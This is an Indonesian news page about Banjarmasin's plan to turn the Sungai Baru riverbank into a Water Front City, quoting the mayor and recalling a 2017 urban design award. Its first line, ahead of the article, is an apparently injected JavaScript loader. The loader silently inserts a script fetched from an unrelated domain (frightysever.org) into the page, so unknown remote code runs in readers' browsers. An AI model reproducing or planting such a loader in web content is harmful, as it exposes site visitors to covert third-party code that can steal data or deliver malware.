(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Rencana Pemkot Banjarmasin untuk menjadikan kawasan sepanjang siring Menara Pandang hingga kawasan siring Sungai Baru sebagai Water Front City (WFC) kota Banjarmasin, akhirnya mendapat respon positif dari berbagai kalangan masyarakat.
Bahkan, para pengusaha yang memiliki tempat usaha yang lokasinya berdekatan dengan kawasan sungai tersebut pun menyatakan kesiapannya mendukungnya, salah satunya pemilik Mitra Plaza.
“Tahun ini kita kembali melakukan penataan di siring Sungai Baru, dan mereka ingin keterpaduan termasuk desainnya, agar sesuai dengan kota sungai, jadi diekspose lah hal-hal yang saya kira sangat bagus,†ujar Walikota Banjarmasin H Ibnu Sina.
Dengan adanya dukungan tersebut, ke depan Pemkot tidak lagi menjadikan sungai sebagai beranda belakang tetapi merupakan beranda depan untuk tempat usahanya. “Itu poin pentingnya artinya ada kesamaan visi,†ucapnya.
Selain menjadikan sungai sebagai beranda depan, terangnya lagi, dengan terbentuknya Water Front City di kawasan tersebut maka Kampung Ketupat Sungai Baru pun harus terintegrasi, sehingga akan membentuk sebuah area menyerupai urban area.
“Jadi warga dapat menikmatinya sore hari atau sambil berolahraga, car free day dan sebagainya, termasuk menikmati sungai di malam hari, sambil misalnya kumpul keluarga, bersama teman untuk menikmati suasana sungai yang menjadi tempat yang representatif untuk ekshibisi,†tuturnya.
Ditambahkannya lagi, menjadikan kawasan tersebut sebuah Water Front City, merupakan hal yang sangat penting. Sebab, Kota Banjarmasin merupakan kawasan perdagangan dan jasa, jadi harus didukung oleh fasilitas kota yang memadai sebagai kota perdagangan dan jasa. Apalagi, menurutnya, kawasan segitiga emas Banjarmasin itu mulai dari Ujung Murung, Sungai Baru, Sudimampir, Pasar Lima sampai kawasan Pasar Beras, dan Kelayan itu harus menjadi satu kesatuan dalam perencanaan yang ditata bersama-sama.
Sekadar untuk diketahui, tahun 2017 lalu, Novita Ratnasari dan Reny Revariah, dua srikandi kota seribu sungai berhasil menjuarai lomba tingkat internasional untuk kategori lomba Water Front City. Proposal mereka berbicara tentang Water Front City di sekitar kawasan Sungai Martapura tepatnya dari jembatan Pasar Kama Banjarmasin Tengah hingga kawasan jembatan Dewi, Kelurahan Sungai Baru, dari sebelum ditata, hingga setelah ditata oleh Pemkot Banjarmasin, dinilai panitia lomba sangat membantu dan tidak menghilangkan kearifan lokal masyarakat setempat
Karena itu lah, kedua ini tanggal 27 November 2017 lalu, akhirnya secara simbolis menerima penghargaan dari Asian Townscapes Jury’s Award (ATA Award) di Yinchuan, China. (mario)
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.